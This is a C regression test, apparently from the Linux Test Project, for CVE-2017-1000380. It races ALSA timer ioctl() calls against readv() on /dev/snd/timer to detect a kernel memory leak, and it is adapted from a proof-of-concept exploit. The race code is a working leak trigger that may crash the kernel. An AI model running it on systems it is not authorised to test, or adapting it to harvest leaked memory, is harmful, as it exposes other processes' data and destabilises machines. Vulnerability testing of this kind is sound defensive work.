1 // SPDX-License-Identifier: GPL-2.0-or-later
2
3 /* Copyright (c) 2019 Michael Moese <mmoese@suse.com>
4 * Regression test for CVE-2017-1000380 based on the original PoC exploit
5 * by Alexander Potapenko <glider@google.com>
6 *
7 * Be careful! This test may crash your kernel!
8 *
9 * The test performs several ioctl() parallel with readv() on the same
10 * file descriptor to /dev/snd/timer. A buggy kernel will leak memory
11 * to the process, which may contain information from the the kernel or
12 * any other process on the system.
13 *
14 * The issue was fixed with
15 * http://git.kernel.org/linus/d11662f4f798b50d8c8743f433842c3e40fe3378
16 * http://git.kernel.org/linus/ba3021b2c79b2fa9114f92790a99deb27a65b728
17 */
18
19 #include "config.h"
20 #include "tst_test.h"
21 #include "tst_taint.h"
22 #include "tst_fuzzy_sync.h"
23 #include "tst_safe_macros.h"
24 #include "tst_safe_pthread.h"
25
26 #include <errno.h>
27 #include <fcntl.h>
28 #include <pthread.h>
29 #include <stdio.h>
30 #include <string.h>
31 #include <sys/uio.h>
32 #include <sys/ioctl.h>
33 #include <sound/asound.h>
34
35 #define MAX_BUFSIZE 1024
36
37 static int snd_fd;
38 static struct tst_fzsync_pair fzsync_pair;
39
ioctl_thread(void * unused)40 static void *ioctl_thread(void *unused)
41 {
42 int tread_arg = 1;
43 struct snd_timer_select ts;
44 struct snd_timer_params tp;
45
46 memset(&ts, 0, sizeof(ts));
47 ts.id.dev_class = 1;
48
49 memset(&tp, 0, sizeof(tp));
50 tp.ticks = 1;
51 tp.filter = 0xf;
52
53 while (tst_fzsync_run_b(&fzsync_pair)) {
54
55 ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
56
57 ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
58
59 ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
60
61 ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
62
63 tst_fzsync_end_race_b(&fzsync_pair);
64 }
65 return unused;
66 }
67
setup(void)68 static void setup(void)
69 {
70 if(access("/dev/snd/timer", F_OK))
71 tst_brk(TCONF, "The file '/dev/snd/timer' is not exist");
72
73 tst_fzsync_pair_init(&fzsync_pair);
74 tst_taint_init(TST_TAINT_W | TST_TAINT_D);
75 snd_fd = SAFE_OPEN("/dev/snd/timer",
76 O_RDONLY|O_CREAT|O_NOCTTY|O_SYNC|O_LARGEFILE, 0);
77 }
78
cleanup(void)79 static void cleanup(void)
80 {
81 if (snd_fd > 0)
82 SAFE_CLOSE(snd_fd);
83 }
84
run(void)85 static void run(void)
86 {
87 size_t len;
88 int size;
89 struct iovec iov;
90 pthread_t th;
91 char read_buf[MAX_BUFSIZE];
92 int i, nz;
93 pthread_attr_t thread_attr;
94
95 pthread_attr_init(&thread_attr);
96 pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
97 SAFE_PTHREAD_CREATE(&th, &thread_attr, ioctl_thread, NULL);
98
99 iov.iov_base = read_buf;
100 iov.iov_len = sizeof(read_buf) - 1;
101
102 tst_fzsync_pair_reset(&fzsync_pair, NULL);
103 while (tst_fzsync_run_a(&fzsync_pair)) {
104 nz = 0;
105 memset(read_buf, 0, sizeof(read_buf));
106 size = readv(snd_fd, &iov, 1);
107
108 tst_fzsync_end_race_a(&fzsync_pair);
109
110 /* check if it could be a valid ioctl result */
111 if (size == 0)
112 continue;
113
114 /* check if the buffer is non-empty */
115 for (i = 0; i < size; i++) {
116 if (read_buf[i]) {
117 nz = 1;
118 break;
119 }
120 }
121 if (!nz)
122 continue;
123
124 len = strlen(read_buf);
125 /* the kernel's struct snd_timer_read is two unsigned integers*/
126 if (len <= 2 * sizeof(unsigned int))
127 continue;
128
129 tst_res(TFAIL, "kernel seems vulnerable");
130 return;
131 }
132
133 if (tst_taint_check() != 0)
134 tst_res(TFAIL, "kernel seems vulnerable");
135 else
136 tst_res(TPASS, "kernel seems not vulnerable");
137 }
138
139 static struct tst_test test = {
140 .test_all = run,
141 .setup = setup,
142 .cleanup = cleanup,
143 .tags = (const struct tst_tag[]) {
144 {"linux-git", "d11662f4f798"},
145 {"linux-git", "ba3021b2c79b"},
146 {"CVE", "2017-1000380"},
147 {}
148 }
149 };
150